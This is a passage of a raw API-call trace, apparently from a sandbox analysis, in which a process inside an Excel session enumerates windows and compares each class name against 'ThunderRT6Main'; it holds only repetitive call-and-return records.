(hWnd=0x30242, uCmd=0x2) returned 0x40244 [0144.202] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0144.202] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0144.202] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.202] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0144.202] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0144.202] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0144.202] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0144.202] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0144.202] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0144.202] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.202] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0144.202] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0144.202] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0144.202] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0144.202] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0144.202] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0144.202] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.202] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0144.202] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0144.202] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0144.202] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0144.202] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0144.202] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0144.202] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.202] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0144.202] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0144.202] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0144.202] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0144.202] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0144.202] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0144.202] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0144.202] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0144.202] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.202] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0144.202] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0144.202] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0144.202] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0144.202] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0144.202] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0144.202] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.203] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0144.203] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0144.203] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0144.203] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0144.203] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0144.203] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0144.203] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.203] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0144.203] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0144.203] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0144.203] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0144.203] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0144.203] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0144.203] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.203] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0144.203] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0144.203] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0144.203] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0144.203] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0144.203] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0144.203] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.203] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0144.203] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0144.203] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0144.203] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0144.203] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0144.203] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0144.203] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.203] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0144.203] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0144.203] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0144.203] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0144.203] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0144.203] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0144.203] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.203] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0144.203] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0144.203] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0144.203] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0144.203] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0144.203] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0144.203] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.203] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0144.203] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0144.203] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0144.203] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0144.203] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0144.203] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0144.203] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0144.203] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0144.203] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0144.203] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0144.203] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.203] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0144.203] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0144.203] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0144.203] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0144.203] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.203] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.203] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0144.203] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0144.204] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0144.204] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0144.204] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0144.204] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0144.204] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0144.204] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0144.204] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.204] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0144.204] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0144.204] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.204] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0144.204] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0144.204] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0144.204] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0144.204] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0144.204] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0144.204] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.204] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0144.204] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0144.204] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0144.204] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0144.204] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0144.204] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0144.204] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.204] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0144.204] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0144.204] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0144.204] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0144.204] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0144.204] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0144.204] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.204] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0144.204] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0144.204] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0144.204] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0144.204] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0144.204] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0144.204] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0144.204] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0144.204] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0144.204] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0144.204] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.204] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0144.204] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0144.204] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0144.204] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0144.204] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0144.205] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0144.205] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.205] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0144.205] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0144.205] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0144.205] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0144.205] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0144.205] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0144.205] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.205] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0144.205] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0144.205] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0144.205] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0144.205] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0144.205] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0144.205] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.205] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0144.205] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0144.205] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0144.205] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0144.205] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0144.205] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0144.205] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.205] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0144.205] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0144.205] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0144.205] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0144.205] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0144.205] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0144.205] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.205] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0144.205] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0144.205] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0144.205] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0144.205] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0144.205] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0144.205] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.205] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0144.205] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0144.205] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0144.205] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0144.205] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0144.205] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0144.205] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.206] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0144.206] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0144.206] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0144.206] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0144.206] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0144.206] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0144.206] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.206] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0144.206] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0144.206] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0144.206] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0144.206] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0144.206] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0144.206] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.206] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0144.206] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0144.206] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0144.206] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0144.206] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0144.206] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0144.206] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.206] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0144.206] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0144.206] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0144.206] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0144.206] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0144.206] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0144.206] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.206] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0144.206] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0144.206] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0144.206] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0144.206] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0144.206] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0144.206] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.206] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0144.206] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0144.206] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0144.206] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0144.206] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0144.206] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0144.206] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.206] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0144.206] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0144.207] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0144.207] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0144.207] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0144.207] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0144.207] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.207] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.207] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0144.207] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0144.207] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0144.207] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0144.207] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0144.207] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0144.207] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.207] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.207] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0144.207] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0144.207] GetClassNameA (in: 